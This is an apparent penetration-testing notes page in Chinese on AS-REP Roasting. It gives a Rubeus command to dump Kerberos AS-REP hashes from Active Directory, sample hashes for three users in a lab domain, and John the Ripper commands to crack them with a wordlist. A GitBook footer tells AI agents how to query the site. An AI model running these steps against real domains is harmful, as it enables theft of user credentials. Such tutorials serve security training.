> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/kerberos/as-rep-roasting-with-rubeus.md).

# 使用 Rubeus 进行 AS-REP Roasting

### 发起攻击

使用 Rubeus：

{% code overflow="wrap" %}

```powershell
.\Rubeus.exe asreproast /format:john /outfile:hash.john
```

{% endcode %}

此命令：

* 查找易受攻击的用户；
* 检索 AS-REP 响应；
* 将它们保存为 John 格式；
* 将结果写入 `hash.john`.

<figure><img src="/files/13a345c275e527bb79175e4c6a4e09828129968f" alt=""><figcaption></figcaption></figure>

### 预期结果

Rubeus 返回了几个易受攻击的用户，例如：

{% code overflow="wrap" %}

```
$krb5asrep$bobette.lauryn@whoami.local:898399AE70C461760F51AF9158FA9253$9C56E7073EBD6C9DB6D38CD3D1EFEAC6F6C57EA5D5F4B8E3C0A274462AB96A46576C740021A8AF52456543AB9680D9C5154190D9210243E76AD27AB829DEB30C148A2AAC8E019C476B8710A4436B52DD531DB80A47A0D736BCDF771B475C636DA97059A6A7E0393A08EA1FCC6E9687E69CB590B936E391FCAD2222FA6F95CD6CED2C3AD67413E274453E7446A8FF8E5082CDF2EBB1C02FE38B26CE611F6A4F2FCE0DFD0DD3592A43479AF0A008674F2D4AA29064C9C94742A23685CC816F53E0F4CCC8D578EFE980F7E57A063DE2A24B1E35FB5F7B2601B30F67C6FDB3B4F331AE86542044439947C0A4039D

$krb5asrep$kaye.harri@whoami.local:90C90B315354E43708428470BD528EE8$0A3C9AC81C525EF88535AB3B23CA29EA92FC4548FC2A6754713A0DE6E5993FB7F3143F904488F0C3D869210C66933DB6451C920C49C263FEF8D9A8FA799313A1670CBB2464B3BB9675526B53B91213D036271C1EB51FDF2EF31503D502F97274DEC272D8AF8154E1ED2817CF868C3BC84B610886692EEFB9C26FA258CB58207236CC09BBBFA2620F0540FF28AFA463E87D661AB8810B7235D2255166A16A45E3C5C467AF4E0F50183D79CA95AEBCADF74DBECF7F13F2E3B2BF5B439BC4256A25670981A089E897D47F2FE161E6FECB590F639A12B7674D40C2AE44A6523CD8F656F7F077F22ADDB93F86941C

$krb5asrep$carolyne.gweneth@whoami.local:FB6E719F504D35A6188207BE9954E214$164723BF993D624E89A5A118FC9BB7CBBE5E94DB5CC22C5CE7C702CA44BBBFB22399BB84988363558BAA58D12FC4CD2FCA31C69DC4543C51E3E50587A5318B32C468224AE8B37709DD7323F7F8781D7A598C1F42FA9E6D6141877A03911627462A1F5744519DE6E7F3C25BF5B55C3A8905373840582E1822D81293D16321A3BAC636CD98B737D3608B0DBBBCA38B78E8D06C741B2FDA54F3EB565ABD3AAD80CE59C990A0344DBBB88F78B85B0CEF2A9FEE526B841DA013C5385E1AB7D340F8A5AECFC609CD75019C5332D3FE59F8EE8ADC6FC33BDBCF2FADC536B7EC28C037B5D4E86BF13A36A6364EF153E9
```

{% endcode %}

### 使用 John 破解

运行 John：

{% code overflow="wrap" %}

```bash
john hash
```

{% endcode %}

或者使用字典：

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/6ddca0ab547eb25bbc6e5e7cdd228bad365fd07a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/active-directory/kerberos/as-rep-roasting-with-rubeus.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
